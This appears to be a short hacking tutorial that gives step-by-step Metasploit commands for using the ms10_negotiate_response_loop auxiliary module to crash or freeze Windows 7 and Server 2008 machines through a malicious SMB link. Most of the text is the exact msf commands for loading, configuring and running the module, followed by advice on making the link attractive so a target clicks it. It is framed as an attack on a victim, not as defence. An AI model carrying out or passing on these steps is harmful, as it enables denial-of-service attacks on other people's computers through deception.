How to Crash Windows 7 Pc with a Link.
Step 1: A Little Background Material
Remember that Metasploit has six types of modules, exploits, payloads, auxiliary, encoders, NOPs and post. In this hack, we will use an auxiliary module to attack the Windows 7 or Windows Server 2008 system’s SMB.
msf> use auxiliary/dos/windows/smb/ms10_negotiate_response_loop
Step 2: Show Options
Now that we have selected our module, let’s look at our options:
msf> auxiliary(ms10_negotiate_response_loop) show options
As we can see , the only option we need to set is SVRHOST, which is our—the attacker’s—system. In my case, it is 192.168.1.100. Yours may be different; check your IP address by typing ifconfig in a terminal.
Step 3: Set SVRHOST
Next, set your SVRHOST by typing:
msf > auxiliary(ms10_negotiate_response_loop) set SVRHOST 192.168.1.100
Step 4: Run
In the last step, we run the auxiliary module and once the module executes, it generates a shared folder link which you can send to the target machine. In this case, the link is \192.168.1.100\Shared\Anything.
msf > auxiliary(ms10_negotiate_response_loop) run
Step 5: Making an Attractive Link
Metasploit then starts the malicious SMB service and when the target clicks on the link, the target system will begin to run an infinite loops or Freeze.